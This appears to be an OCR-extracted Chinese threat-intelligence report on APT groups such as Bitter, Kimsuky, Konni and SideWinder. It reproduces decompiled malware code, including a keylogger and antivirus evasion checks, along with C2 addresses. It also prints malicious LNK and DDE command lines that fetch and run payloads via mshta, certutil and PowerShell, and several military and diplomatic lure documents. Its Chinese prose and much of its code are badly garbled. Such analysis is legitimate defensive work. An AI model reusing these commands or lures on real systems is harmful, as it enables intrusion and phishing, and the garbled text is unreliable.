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B I 4

V5 = rc4_4@BEE@(byte_4279C0);
sprintf(v18, v5, &PathName);
sub_4@4F80(a2, (int)vis);

v6 = rc4_4@8EE@(byte_4279E8);
sprintf(&FileName, v6, &Buffer, &v19);
v7 = rc4_408EEQ(byte_4279F4);

v23 = sub_411830(&FileName, v7);
sub_4119A8(v23, &PathName, &v19);
sub_411908(v23);

memset(v18, @, @x164u);

v8 = rc4_40BEE@(byte_427A04);

A FHIRFIAIRAT-1

" if ( HIWORD(a2) == 1 )
§

TerminateThread(screen_thread F6444C, 0);
dword_F64460 = 0;
return 1;

}

A FHIREIRIRAT-2

eswws  datalen

o code
—— data

A FHIREIAIRAT-2

// All volumes has been dumped to %s

// %s\%s

// %s has been compressed

')
if ( HIWORD(a2) == 2 )
dwMilliseconds = *(_DWORD *)al;
¥

elsze

A FHFREIAIRAT-2
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while ( lstrcmpiW((LPCWSTR)&v11[32], L"avp.exe”) )

i if ( !lstrcmpi((LPCWSTR)&v11[32], L"coreServiceshell.exe”) || !lstrcmpiW((LPCWSTR)&v11[32], L"uiSeAgnt.exe™) )

goto LABEL_15;
if ( !1strcmpiW((LPCWSTR)&v11[32], L"fshoster32.exe") || !lstrcmpiW((LPCWSTR)&v11[32], L"fshoster64.exe™) )
{

e = 3;

goto LABEL_15;

if ( !Process32Nexti(v4, (LPPROCESSENTRY32W)&v10) )
goto LABEL_15;

1

A R RAREDT ARNKEIERD- A

A Operation Dream JobI{ & {ELESN, $H XL F 1Tk

16 4042 R BB EHREIPA
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LN 4 ) h W 4 & N’ ’
hSnapshot = CreateToolhelp32Snapshot(2u, @);
vl4 = GetCurrentProcessId(); >
écloseﬂandle = (void (__stdcall *)(HANDLE))::CloseHandle;
if ( Process32First(hSnapshot, &pe) )

| {

v5 = str_decode_1291000(byte_129F2F0); // v3lasp.exe
if ( !_stricmp(pe.szExeFile, v5) )

RFT

dword_12A1E00 = 2;

N W N
-~

v6 = str_decode_1291000(a6); // AYAgent.aye
if ( !_stricmp(pe.szExeFile, v6) ) ’

k v7 = strcmp(pe.szExeFile, a2);
.V 4V & AN Y P N

A FIREIBIREARD

4045 R EAMBHREIPA 17
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Kimsuky —MRIIFHRALTER APT AR, E&FT 2012 F/HK1EE , HENEMET SHEF 5. RBERFMSIZEXH5
RBRMERZ 2, URETHE RN, B, BEBALE. ARG S ARAE LR TR 8 XAMETIEKYT
WHMMEEFREER.

2022 FIZAALHIRERIMT =FEXT Android IHE2S, 53579 FastFire. FastViewer # FastSpy.
HERFEERE Kimsuky SESFERHIMEG T,

2022 F2F, BN NEZARNESHEIERAL, 6)F 404 SREMBEIRE N2 FHIRIZARE XA~ HEBT 800 21,

2022 KimsukyZB A X R = 1E R
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KonnifA 4R

Konni @RI H BXBARME APT AR

—, B 2014 FLUR—BEHR40ED, I8

BEABXAMKNENKEFE, TEZBFAETH. A HE FEFHX,

2022 F2F, Hf 1 ENE %4

Initial Infection

B e HBERR A, AR

BRNEEMIEHTRE, 8IF 404 BREMBIREANEFHRZARBRETHREBT 20 1

A - l O
Phishing Email o Archive containing: .Ink Execution
Attacker missile.docx and_weapons.doc.lnk C2to0:185.176.43.106
|
Stage2 [ Stage 3
JdEE
—_— ™ wp.vbs
Stage 4 l
wp.vbs
k AN
AT Ay
@ CAB File food.bat seed.bat
>
Scheduled task —
created
B —
Service Created wpcsve.dll wpcsvc.ini
E— (decrypt)
0] e
Persistence via PowerShell ‘ J’ ’
memory injection.
C2: 547857.c1.biz
wpcsvc.dat
(decrypt)

A Securonix Threat Labsi ZERISTIFF#BIZONEENRI B T 5%
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8 if (va)

9 {

) VO = 260;

51 vie = vi;

52 do

33 {

4 *v10++ = 9;
5 -=-v9;

6

37 while ( v9 );

8 strcpy(v22, "name=%ls&delete=ok");
59 sub_40243A(v1, v22, Buffer);

0 v20 = vl;

"1 v21 = strlen(vl);

72 sub_4010008(v18, 0);

A SEXIRTETINZER (MID) R T 5E )

40475 R RS HREIBA

LI'EdLEMIULEXN\Y, 1, NdilEg);

if ( GetlLastError() != 183 )

{

sub_401550();
wcscpy(Source, L"\\winmsism.exe");
strcpy((char *)vii, "\\");
strepy((char *)&v11[1], "s")
strcpy((char *)&vi11[2], "p")
strcpy((char *)&v11[3], "p")
nsmy
"em)

.

3
3

strcpy((char *)&v11[4],

strcpy((char *)&v11[5],

wescpy(v12, L"r.exe");
sub_402456(Source);

Sleep(@x5DCu);

sub_402456(vi11);

Sleep(@x1194u);

while (1)

1.
ms_exc.registration.TryLevel
sub_4013CB();
Sleep(@x3A98u);
ms_exc.registration.TrylLevel = -2;

3
2

2

n
)
(¥

21
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pcbBuffer = 260;

GetUserNameW(pszAgentW, &pcbBuffer);

GetTempPathW(@x104u, FileName);

wsprintfW(FileName, L"¥slLog.¥s.bin", FileName, pszAgentW);
if ( hFile != (HANDLE)-1

if ( *(_DWORD *)this == 8 )
return sub_401F@0(L"[BACKSPACE]", hFile);
if (vS ==13)
return sub_4@1F@@(L"\r\n", hFile);
if ((vsS == 27 )
return sub 401F@@(L"[ESC]", hFile);
if ( GetKeyState(17) < @ )
i
*(_DWORD *)Buffer = "C\@[';
v1® = "R\OT';
vli2 = ' \e+';
v7 = *this;
vil = " \@L’;
vi3 = 'c\e%’'; /1 [CTRL+c]
vid = ']";
swprintf_s(Buffer, @xCu, Buffer, v7);
v4 = sub_401F@@(Buffer, hFile);

A HRTAVBEICREE

O - 2022578

en
: /c findstr /b "dHJSI" missile.docx >¥TMPA\Q.txt && cd /d ¥IMP% & certutil -decode —f g.tst q.psl && powershell -nop -ep bypass -f q.psl && del /£ /q qu*

W weapons.doc.Ink

A STIFF#BIZONKEHEN—M 89 B BB Ink B4
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ALCOMSAT-1
COMMUNICATIONS SATELLITE SYSTEM PROGRAM
GAS SDMC Data Recovery Subsystem (DRSS) FAR
Minutes OF Meeting
Algiers, Beijing
July 19%, 2022

10 INTRODUCTION

The GAS SDMC Data Recovery Subsystem (DRSS) FAR meeting was held on July
199, 2022, attended by the representatives of ASAL with SDMC team, CGWIC and
SSTC.

These minutes serve as a record of the points discussed, agreements reached and
actions to be taken for the Alcomsat-1 program.

20 TOPICS AND/OR PRESENTATIONS

During the meeting, SSTC presented:

« SDMC DRSS Preliminary Work Review
= SDMC DRSS OSAT

* SDMC DRSS FAR

« SDMC DRSS Warranty

30  MINUTES AND ACTION ITEMS

1. CGWIC/SSTC and ASAL/SDMC Team attended the SDMC DRSS OSAT in
Bouchsoui on 14* July and in test from [
July, 2022.

2. Itis agreed all the test cases has been done and all the test cases has passed based
on the test procedure of SDMC DRSS-OSAT. The details can be referred to the
annex.

3. ASAL/SDMC Team confirmed all SDMC DRSS delivery equipment, software
and document on July 18%, 2022.

4. Itis agreed SDMC DRSS-FAR is completed and successfully.

1/s

==y ¥

A BEZERFEXESHY
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UNITED ARAB EMIRATES
G.H.Q ARMED FORCES
ELECTRONIC WARFARE COMMAND

0 hee 4732 AR AR IS B T

To' Zhao Wei From Sp.Grd(Eng) Hassan Al Zaabi
Chief Representative in UAE EW Technical Logistics Officer
CETC Intemational Co., Lid Tek 0097125041542

__ shaowei@ceteicomen Femx 0067126041877

oc: Pages: |

Fax: Ref:

Tel: Date: 21 Jun, 2022

Fax

Subject: Request for Proposal
Dear Sir,

EW Command extends its warmest greeting to CETC Intemational Co., Ltd.

With regards to the above mentioned subject, you are kindly requested to provide a
commercial and technical offer for the below requested systems. The systems should
be light for tactical use, as manpack and/or mounted on the vehicle and to be used
for quick deployment using tactical light weight antenna. The requested systems are:

1. 6 COMNIT Manpack system with option to increase the quantities to 12.

2. Tactical (GSM) monitoring system (Mobile Phone interception system).

3. SATCOM interception system (Thuraya, Inmarsat, etc.).

4, EW Communication Jammer system.

Please make sure you include spare parts and training for each system in your
proposal.
You are kindly requested to submit your proposal

Thank you for co-operation.
Best

Sp.Grd(Eng) Hassan Al Zaabi
EW Technical Logistics Officer

A HABESEEMEREXESREFITREXES XY
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trepy_s(Destination, 8x400u, byte_4233A8);

ecode_str_4@4FF@(Destination); /7 51.210.22.64
trepy s(

byte_42C1A0,

@x400u,

"mW1$610F2232612124022d1264H1022t76191120515 lo716020p02751E251¢551184]b1c25123 5108X17@128416$61941A0225617417412314V813819b716m81")
ecode_str_484FFa(byte_42C1A8); // POST //Ax1B@uP55t0749djK2wCx. php?x=

trcpy_s(byte_42BDA@, @x400u, "$01a1Q31Ef19C416v4H1941m741k0I8148ul4NB12071°231");// HTTP/1.1\r\n
ecode_str_404FF@(byte_42BDAG);

trepy_s(byte_42B9A0, 0x400u, “A3$2n31X8dS16#R1251U%21wl2271L");

ecode_str_484FF8(byte_42B9A8);

trepy_s(byte_42B5A@, @x400u, "€11311");

ecode_str_404FF@(byte_42B5A8);

[+] DecodeStr = 51.218.22.64

[+] DecodeStr = POST //Ax1BOuPS5st@749djK2wCx.php?x=
[+] DecodeStr = HTTP/1.1

[+] DecodeStr = Host:

[+] DecodeStr

[+

—

DecodeStr = Connection: keep-alive

[+] DecodeStr =
[+] DecodeStr =
Cache-Control: max-age=e@

Content-Length:

[+] DecodeStr = User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11
[+] DecodeStr = Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxjWaBRokVrsGecoq

[+] DecodeStr = Accept: text/html,application/xhtml+xml,application/xml;g=08.9,%/%;q=0.8

[+] DecodeStr = Accept-Encoding: gzip,deflate,sdch

[+] DecodeStr = Accept-Language: en-US,en;q=0.8

[+] DecodeStr = Accept-Charset: IS0-8859-1,utf-8;9=0.7,%;q=0.3

[+] DecodeStr =

[+] DecodeStr = ------ WebKitFormBoundaryxjWaBRokVrsGecog

[+] DecodeStr = Content-Disposition: form-data; name=\"file\"; filename=\"
[+] DecodeStr = Content-Type:

[+] DecodeStr
777777 WebKitFormBoundaryxjWaBRokVrsGecog- f|

A BitterftXWRBUK IR T RAVE MG
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2| vi4 = cp[e];

3 if ( cp[5] < (char *)oxle )

4 vl4 = (const char *)cp;

5 *(_DWORD *)&name.sa_data[2] = inet_addr(v14); // C&C:kryoblockbind.net
6 *(_WORD *)name.sa_data = htons(word_40B020); // Port:31174
7 name.sa_family = 2;

8 GetU_CName();

9 while ( 1)

o {

il if ( SendState )

2 goto LABEL_35;

3 s = socket(2, 1, 6);

4 if ( connect(s, &name, 16) )

5

6 closesocket(s);

7 s = <1;

8 Sleep(©x3A98u);

A FHIRFMIBitteriHELSI)
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OIMC, Ministry of National Defense, People’s Republic of China

To:  All Military Attachés’ Offices in Beijing

From: Center for International Military Security Coordination, Office for
International Military Cooperation, Ministry of National Defense, PRC

Subject: Visit to China National Aero-Technology Import & Export Corporation

Date: 29 March 2021

Dear Military Attachés,
The Center for International Military Security Coordination, Office for
International Military Cooperation, Ministry of National Defense, People’s
Republic of China presents its compliments to all Military Attaché Offices in
Beijing and has the honor to inform that a visit to China National Aero-
Technology Import & Export Corporation (CATIC) will be organized by OIMC,
MND on Tuesday, March 10*, 2021. The details are as follows:

1. Date & Time: 13:30-17:30, Tuesday, March", 2021

2. Invitees: All DA/SDA/DDA

3. Program:

Before 1330 All participants arrive at car park of OIMC

1330 Leave for CATIC by bus (provided by OIMC)

1430 Arrive at CATIC

A hrief ahont CATIC

= Tk OB RABEXIES X

2.9-27a Yumn
Deplenstc Office sk,
Beijing. 100600, P R CHINA

Ref 32071
Enquinier. R Ader (G) PN, Tiondga

Air Marshal Martin K Pinehas

Chief of the Namibian Defence Force
Ministry of Defence and Veterans A ffairs
Private Bag 13307

WINDHOEK

Air Marshall,

RE: PLA COMMANDERS RECEIVES HIGHEST MILITARY RANKS

1. The Office of the Namibian Defence Attaché compliments the Chief of the Namibian
Defence Force, Air Marshal Martin Kambulu Pinchas and has the honour to enlighten the Chief
of the Deflence Force, about the promotion of the PLA Commanders.

2. Four Senior Military Officers have been promoted to the rank of General, the highest
rank for officers in active service in China. President Xi Jinping, Chairman of the Central
Military Command (CMC), presented certificates of the orders he signed to them at a ceremony
held by the CMC in Beijing on July 5.

3. Liu Zhenli, Commander of the People’s Liberation Army (PLA) Ground Force, was one
of them, with this promotion; Liu became the youngest general to serve in the PLA, Liu was
bom in 1964 and enlisted in the PLA in 1983.

4 The other three Senior Military Officers who were promoted are Wan Xiubin, the
Commander of the Southém Theatre Command of the PLA, Xu Qiling Commander of the PLA's
Wesigm Theaire Commyind and Ju Qiansheng Commander of the PLA Strategic Support Force.

s Jhe Office of the Defence Attaché, herewith submits. Air Marshal, Sir!

Yours Sincerely,
\

PETRUS NDESIMONA TIANDJA /
DEFENCE ATTACHE: R ADM (JG)

A GUREETTAEIERE R D REERIE S
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SSIOPVIMR36B/Gens H5

House # 72, Street-5,
Sector E-7,
ISLAMABAD

Attn: - Mr Sun Xiackang

References:

RIFAPTALBETI O #

Directorate of

Systems & Sensors Integration
Projects Branch

Naval Headquarters
Islamabad

Tele: 009251-20062792
Fax: 009251-926-1551

A M/s CETC letter CETC/PKN/21/0813-473 dated 17 Aug 21.
B Contract No. 1790037/B-1803/310539 dated 11 June 2018.

1. Apropos Para 2 of Ref A, Para wise PN

response to M/s CETC queries is appended

Mis CETC Query Il

PN Respon:

Accommodation is expected to

| arranged in PN MESS. Please confirm
if one room one person is
available Meanwhile, please
elaborate what articles for daily use
are provided in PN MESS rooms so
that the team may know what else to
prepare.

se
be - As per normal practice, all OEMs stay in

hotels at their own arrangements. Suitable
transport and security cover is provided by PN
for daily commute to workplace and back.

- Notwithstanding, PN can facilitate CETC team
for provision of accommodation in PN Mess
located near to work place on payment. COVID
SOPs are strictly adhered to in PN Messes and
it is ensured that personnel serving are free of
COVID iinfection.

- Nomally 02 x personnel per room are
accommodated in PN Mess. The rooms are
furnished with all basic necessities as available
in normal hotel rooms. However, configuration
of 01 x Room per person can also be arranged
as per requirement. However, modalities in this
regard will be finalized upon confirmation of
number of visiting team members and their
visiting schedule.

‘What are the vehicle & security escort
arrangements for the team's routine
tip between PN MESS and PN
Dockyard?

Daily commute wil be through PN Service
vehicles which are disinfected regularly and are
operated as per COVID-19  precautionary
measures.

Moreover, all movements of CETC team will be:
escorted by PN security team.

COMMFRCIAL IN CONFIDFNCF

A I EEIMESEBHARZHEXIE S
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QUOTATION
acr
ATPN DOCKYARD Date: 20127
Atm LT GHULAM MUSTABA PN Rel No:  CICPIFCSTOPRANLSE.
2021020708

REFERENCE

Fw: CICPFICSTOPEAN4328.
B RRC No 3510557327079 dated 30h Ju 1994

Dear Sir,

request ve, C
QUOTATION of spare pasts s follows.

1. PRICE

for

2 PAVMENT

3vALIDITY
This QUOTATION willremaim valid vp 1o 304042021

LPACKING

S DELIVERY

6 WARRANTY
“The warmanty period of the spares ondered will be one year fir shipment date

7 REMARKS.
7

2
0 your confirmation.

Bes Reguds
Sincerely yours,
Ypm

ZHANG JINMING
usiness Managsr

Asi & Latin America Dept

TEL: +8610-88573668

FAX: +8610-88573650

Ench Attachmentfor___ CICP/F/CSTC/PRA/1 4328-202102070B-C

A EMRRETRSERARITRERFES Y
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EMBASSY OF TURKMENISTAN
Beijing

Q
- 0 00 L o e A\ R IR K e

Nedr/a-112 Important!

The Embassy of Turkmenistan in the People’s Republic of China
presents its compliments to the Ministry of Foreign Affairs of the People’s
Republic of China, all Diplomatic Missions, the Offices of the Intemational
andR:gIonalO:ganinﬂonsinPRCndhaslhehmmmln(amlhndn

issued new temporary inbound travel rules
andqnnmﬁnememeslnmefomofﬂdaysh\dedkamdmmﬂne
facility + 14 days home self-isolation under medical supervision™ for the
members of diplomatic, service and other personnel and their family
members in order to effectively control and prevent the spread of global
COVID-19 pandemic. These measures will be effective for the period from
February 18th to February 28th, until further notice of possible extension.

The Embassy of Turkmenistan in the People’s Republic of China
avails itself of this opportunity to renew to the Ministry of Foreign Affairs
of the People’: sRnpublu:ofChuu. pil D!plouuuc Missions, the Offices of
the International and Regional O
highest consideration.

MINISTRY OF FOREIGN AFFAIRS
ALL DIPLOMATIC MISSIONS
OFFICES OF INTERNATIONAL AND
REGIONAL ORGANIZATIONS
BELJING

Long-March ional Trade Co.,Ltd
LIT‘ MA K EEBR AL ARR A
No.7 Building,

. Section 15, ABP Bejing, No.188, Nansihuan Xilu Fengtai District
. PRChina_Fax: +86-10-56533719

Date: 12 Apr 2022
To: RAFO Director of Engineering Ref: ALIT/IOM/RAFQ/2022-04
Royal Air Force of Oman (RAFQ)
PO Box 113
Muscat
Postal Code 100

Dear Sir,
Aerospace Long-march International (ALIT) presents its compliments to the
esteemed RAFO, and has the honor to intimate the following :

ALIT highly iates the RAFO for the pr in CH-804C
‘assembly workshop on 20 April, 2022 in China. To consolidate the fruit of your visit,
we hereby provide the revised technical proposal and the quotation of CH-804C UAV
System for your kind reference. We are looking forward to future cooperation on UAV
take-off & recovery on ship in with the requi of the
esteemed Royal Air Force Oman.

ALIT avails itself of this opportunity to renew to the esteemed RAFO the
assurance of its highest consideration. Your earliest reply would be highly
appreciated.

A EEFRRZBRABDRASRSRNBERES

Directorate of
Systems & Sensors Integration
Projects Branch
Naval Headquarters
ISLAMABAD
4 "I;da: 009251-20062792
ax No: p009251-926-1551
SSIN177/FN-16/Gen/ 87 e

Mis ALIT
House No. 8 Street No. 41
Sector F-7/1, ISLAMABAD

Attn: Mr Liu Fang |3 February 2022
DEFECT RECTIFICATION OF FN-16 SIMULATOR

References:

A M/s ALIT letter ALIT/PN/FN-16/20220214 dated 14 Feb 22.

B.  NHQ letter SSI/1177/FN-16/Gen/ 11 dated 05 Jan 22.

C. DSSI email dated 19 Jan 22.

D. DSSI email dated 02 Feb 22.

E. Contract No 1790074/B-1806/360622/P-36 dated 28 Jun 18,

1. Apropos Ref A.MM\ghmbvuﬁwrtMﬂWmdShnWKL»aby
M/s ALIT Team p

a.  The end user has highlighted the nature of defects in Simulator XL-3 as
communicated vide Ref B to D. However, exact localization of defective units
wmmmhmmwmummmmm

b. all major of XL-3 and its
wuwmmoempouhummmummwmww
for said activity vis-a-vis scheduled departure of OEM Team on 26 Feb 22.

2. Foregoing in view, following is recommended:

a deOEMTwnloKummlybophmﬁlml)s 04 days for defect
diagnosis/ rectification of Simulator XL s

b.  Alternately, mmubulwm‘ﬂw:unnxmemmum
mmmmm XL-3 delivery and
mmmmmuwu

A TESHMERBEEREXIESXHE A XTFXL-3[EE R RKIE S
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Ministry of National Defense, People’s Republic of China

Tel: (8610) 6532 4010/11 2-9-2Ta Yuan
Fax: (8610) 6530 7045 Diplomatic Office Building, Beijing,
100600, PR. China

The Embassy of the Republic of Namibia presents its compliments to the Office of the
International Military Cooperation (OIMC), Ministry of National Defence (MND), Bureau of
West Asian and African Affairs and is having the honour to invite four (04) members from your
esteemed office to join the Namibian community on the occasion of commemorating their
National Heroes Day, on the 29" of Jan 2022.

Kindly find heron attached the invitation card for the occasion.

The Embassy of the Republic of Namibia avails itself of this opportunity and renew to the Office
of the International Military Cooperation, Ministry of National Defence, Bureau of West Asian
and African Affairs, the assurances of its highest consideration.

Major General Liu Changchun
Director General

Offfice of the International Military Cooperation
inistry of National Defence

Beijing

PRC

A REETEIFEOIMC MNDEERTJA RADAAL KARXKIFE TS

itializeApril

RYBitter#i =17

A JHIRE

Bangladesh Embassy
Defence Wing
Beijing, China

Tel: +86-10-65323550

Fax: +86-10-65320528
E-mail:
bddefwg.beijing@yaheco.com

BEI2004/ T2 0Fduly 2017

REQUIREMENT OF 2"° SET CREW TRAINING ON C-802 SSM FROM CPMIEC, CHINA
Reference:

A Armed Forces Division letter number 06.00.0000.010.21.001.17.china. 1234 dated
08 Jun 2017 (Not to all)

1. The Embassy of People's Republic of presents its to the
Office of CPMIEC and requests to put forward a complete proposal to this office on
theoretical and practical training and its schedule on C-802 SSM (Surface to Surface
Missile), its payment terms and conditions, training duration, place of training, pre-requisite
qualification of participants, desire rank and branch of participants etc for the above
mentioned fraining from CPMIEC, China under the contract between CPMIEC and DGDP.

2 However, Bangladesh Navy still lacks in different maintenance aspects of the
missile system for which a new set of crew needs to be trained on the following subjects:

rSev [ Desription ——of T Rank Number | Remarks
| |Training | —=_ | |
\ 1. [ATI  Autopilt, | Lieutenant Commander "o | cPmiEC
| Radar and | (Electrical/Engineering/Ordnance | (China National |
Electrical Engineering) | __| Precision
{ |Electrical  Artificer-lll Radio | 03 | Machinery LSE
| Electrical Artificer-IV/Leading Corp No 30
| Electrician | | Haidian Naniu,
Radio Electrical Arfficerlil | 03 | Beiing 100800,
Radio Electrical  Artificer- P.R Chin
IV/Radio Electrician
2. | Mechanical TTieutenart Commander | 01
gineering/Ordnance |
Engineering) 1
Engine Room Artificer-il/ Engine 04
Room Antificer-IViLeading |

Mechanical Engineer |

A HAAGFNERBEXES X

31



mRLAPTLHLREh 3

) sidewinderA4R

SideWinder@— AR TRIMXWAPTAR, TERHWABIER, QECETE, WET, PE, £0AL BATREFER, BIF
T EEER EE BRFFERER 11T 2022F Z AR EH X BEAMEAX SANKE P HIMMBES LS IWarHawk, 5
ITHRARIT XA NM MR SR EEEE, RIEE s EMR KNERERE, RABRS FNREITshRAMIER T BEINEFH
EER.

LEHBRBENKESIdeWinderdAREK A SFHELEHERAAER, AFERUMTHENE, —MEREETEN =X RIRE
A Ink SEAEE\N-Day, —FRA B e R Ink S ARAEEA S EE B PR 7o

20225 25F, HNNENEZAROEENFRABE, BIF4045RBMBEREAN S FHRZARBREHEBZ 13001

20228 SideWinderZH 2R #H % 3F =150

1 2 3 - 5 6 7 8 3 10 11 12

A 20224 SideWindertBHEXAFIE R

250

200

150

10

Q

3

o

o

BEEzED

O - 20225128

[ ~notification01.tmp 2022/12/21 15:58 TMP 324t 1 KB
Ff ~notification02.tmp 2022/12/21 15:58 TMP 3244 1KB
¥ \/ehiclePricesUpdated Dec21st 2022.pdf 2022/12/21 15:58 HEA 3KB

A WETERHHERLNK

32 40475 R BB 1R EIPA



Fax Message
From: Foreign Islamabad
To: All Missions Abroad(Except New Delhi & Dhaka)
No: CMU-3/2022
Date: 15" October, 2022

Head of Chancery from Director CMU
Subject: - Overview of Flood Situation in Pakistan
Reference Ministry’s Fax Message of even number dated 5" October

2022 on the subject.
2. Updated brief on the subject is enclosed.
. For information and appropriate use.
Encla.a \/ \ oA,

A XFEEMEAREREXES Y

M APTALRET D1

{SETc"{ QUOTE 67 589280114 111 103 114 97 109 11592 77 105 99 114 111 115111 102 116 92 79
102 102 10599 10192 77 83 87 111 114 100 46 101 120 101 92 46 46 92 46 46 92 46 46 92 46 46 92 87
105110100 11111911592 83 121 115 116 101 109 51 509299 109 100 46 101 120 101 }"}.

{SETd"{ QUOTE 3499 109 100 324799 32 115 116 97 114 116 32 47 109 105 110 32 47 98 32 109
115104 1169732104 116 116 112 115 58 47 47 101 110 45 10098 46 104 101 114 111 107 117 97 112
112 46 99 11110947 4532 62 110 117 108 32 50 62 38 49 3238 32 101 120 105 116 34 }"}.

{SETe"{ QUOTE }"}.
{DDE{REFc }{REFd }{REFe}}-

A WHEH IR

[8] DOC-20221211-WA0093.pdf

i) Officers order.docx

A WHEPHEXINK S

GUIDELINES FOR BEACON JOURNAL - 2023 PAKISTAN NAVY WAR
COLLEGE (PNWC).

Pakistan Navy War College (PNWC) invites manuscripts for its journal (Beacon-23). The journal is
aceredited with HEC in 'Y’ category. Research articles shall be accepted in areas related to International
Relations, Strategic Studies, International and Regional Security, South Asian Studies, Maritime Security,
Indian and Pacific Ocean studies and Hybrid Warfare.

Submission Deadlines: Research scholars who wish to contribute original, unpublished articles to the
journal may submit these by first week of January, 2023. The articles may be written individually or co-
authored. .

Article word limit: The manuscripts should normally be 5000 (+_ 10%) words excluding abstract, author’s
Introduction, footnotes and bibliography.

Format: All article submissions must include an abstract of about 200-250 words with 5-7 keywords and
footnotes. The first page of the manuscript should contain the title of the paper, the name(s) of author(s),
abstract and footnote giving introduction and current affiliation of the author(s). A 'Disclaimer’ must be
made at (footnote 2) and when applicable. -

Plagiarism: Similarity index (Turnitin Report) must not exceed 18%. -

A 2023BEHHEBEEEFHRIAXBHES XY
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DEFENCE EXHIBITION LIST FOR 2023/24
Duration HIT Remarks (‘”"' DPEs
| Participation eportedty)
17-20 Jan 23 Not Recom Nil
2024 Feb23 Exhibitor Already PoF, GIDS,
(55 sqm) approved NRTC,
KSEEW -
Exhibitor
3. Tanzania Trade | Tanzania 24-26 Feb 23 Not Recom NIL
Show
4 Australan Australia 28 Feb-05 Mar 23 Not Recom NIL
02-05 Mar 23 Not Recom NIL
04 - 07 Mar 23 Trade Visitor [«  Previous PoF and
particpatio | NRTC as
n80sqm | Trade Visitor
.
S I 15-17 Mar 23 Not Recom NIL
8. 03-05 Apr 23 Not Recom Air and Naval NIL
exnib
9. Latin American Brazil 11-14 Apr 23 Not Recom Pervious PoF as Trade
Defence and Participation Visitor
Securiy as Trade
Exhibition Visitor
LAAD)
10._| Balt Military Expo Poland 20-22 Apr 23 Not Recom NIL
n Adriatic Sea Croatia 26-28 Apr 23 Not Recom NIL
Defence &
Aerospace
Exhibition
(ASDA)
12 IMDEX Asia Singapore 3-5May 23 Not Recom Naval NIL
Orlented
13. | Intl Aviation Sves China 16 - 18 May Not Recom Aviation NIL
Trade Fair Oriented
(ASCE)
14, Detence Greece 09-11 May 23 Not Recom NIL
Esbinition Athars
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StringData

{

namestring: not present

relativepath: ..\..\..\Windows\System32\cmd.exe

workingdir: C:\Windows\System32

commandlinearguments: C:\Windows\System32\cmd.exe /q /c copy /B /Y
C:\Windows\System32\m?ht?.??e %programdata%\jkli.exe & start /min
$programdata%\jkli.exe
https://mailtsinghua.sinacn.co/3679/1/55554/2/0/0/0/m/files-94c98cfb/hta
iconlocation: %SystemRoot%\System32\SHELL32.d11

A WERHMBILNKERRTER-1

StringData

{

namestring: not present

relativepath: ..\..\..\..\..\..\..\Windows\System32\cmd.exe

workingdir: %windir%\System32

commandlinearguments: C:\Windows\System32\cmd.exe /q /c copy /B /Y
C:\Windows\System32\m?ht?.??e %temp%\mhjk.exe & start /min %temp%\mhjk.exe
https://mailnepalarmy.mofagov.com/3652/1/23938/2/0/0/0/m/files-fbcd2d4c/hta
iconlocation: %SystemRoot%\System32\SHELL32.d11
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. ) 16890 46,690 | 31800 1,600 |
! NoF (5} Reg 787-317 3.9 17470] 60170 | 33820 1700 |
gL 510 | 18050] 53750 | 35,800 1,800 |
(REGULATIONS WING ) X 18650 | 67.950| 38,300 1,920
h \ 4 - 9,770 62,670 | 41,220 300
i Islamabad. the 31" August, 2022 . 160 67,960 44,560 570
‘OFFICE MEMORANDUM
| 53] 74730] 48630 00
i SUBJECT - B X 620 83320 53620 290
| The undersigned s diected fo refler fo Frnance Diisons OM No : 31 070 05870] 61,970 960
F 1(5)-Reg 7/87-365 dated 24-07-2017 on the sbove subject and to state that consequent upon the 3-1 45070 113470 79,270 350
| revaion vide Faance 1 56,880 | 142,080 | 99480 60
i m\ounmh-dﬂzmmatm-:ﬂ:.-_n-mmbr—nh.mu N 31 87, 178,440 | 133,140 660
| WWMIFM-WMM'MnMQdN ' ::F 102470 196,130 | 149,300 950
i e e : 321 | 113790 | 217,670 165,730 220 i
(Scate | 122,190 244,130 | 183,160 |
i Scale | Minimum | Maximum | Mean | Monthly Remarks 1 : b2 2,
: subscription 2 from the
| September 1o be pad on 15t October. 2022, unti further orders There shall be no option 1o postpone:
: ‘subscription 10 the above fund edher during leave (except extraordinary pay) or during
; 2 3 4 5 3 gt
: X 550| _ 26450| 20,000 600 | mrimum | ,
32 820 28520] 21,170 080 | (on mean) wit be as under - ’ (Muhammad SHGR Ahmed Ch)
| 3-3 260 | 31,660( 22960 150 Deputy Secretary (R-1i)
. 4 690 34490 24.590 230| _BPS | Subscription o cakss3s
: -5 | S1.730{ 28460 330 .1 3% Joint Secrstanes (Expenditure) Deputy Secretaries (Expenditure) il Ministries/ Dwisions.
; ¥ 760 | 40960 28.360 420] _B21 5% TDepariments
H 3- hl ?_!?_ ‘3919 ?g ﬂ .12-22 8% |
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REE :# MA-2(1012022/0( DATED:[2:07:2022
CIRCULAR

Reference:

A ‘GM (Admin) Circular # MA-2/2021 dated 07-10-2021.

1. Oflate, ithas beennoted that GMs / HoDs put up leave with a very short notice which
causes difficulties in coordination é& planning.

2 It has been decided that with immediate effects, GMs / HoDs are 1o plan their leave
at least 03 weeks in advance except for emergency cases. Additionally, the proposed officer
10 assume the duties during leave period should be with the leave application for perusal of
MD. The same will be issued by Admin department after consent of MD.

Kharal
(R) Pakistan Navy
General Manager (Admin)
Copy to =
DF
All GMs
PD (SL&TS)
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INAL EPTANCE OF BNS PROTTASHA HULL NO AM! .
BE IT KNOWN TO ALL MEN PRESENT: The Beacon.
That MIS China & Offshore Co Ltd (CSOC) s orgar and existing Pakistan Navy War College Review -

under the laws of the People’s Republic of China, having their registered office at No 10 Yuetan SR FakianioNavy St Codree
Beixiaojie, Beijing, 100861, P. R. China (hereinafter called the “Supplier”), hereby deliver: -

The vessel; Builder's Hull No AMOOO4AK named “BNS PROTTASHA" (hereinafter called the
“Vessel"). Please copy the link and download your copy of “The Beacon”.
To: THE DIRECTORATE GENERAL DEFENCE PURCHASE (DGDP), Ministry of Defence, |

New Air Port Road, Tejgaon, Dhaka-I2I5, the People's Republic of Bangladesh (hereinafter " odf
called the ‘Purchaser’)

On: 13 June, 2022.
At:  Dhaka, Bangladesh .

On the basis of the DGDP Contract No 241.193.15 dated 29 September 2015 and any
supplemental agreements which have been drawn up as integral parts of the said contract
(hereinafter together called the “Contract’), the Supplier hereby delivers and the Purchaser hereby
accepts final acceptance of the Vessel pursuant to the terms and conditions of the contract of the
Contract and supplementary agreements. .
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Goverment of People’s Republic of Banglasesh
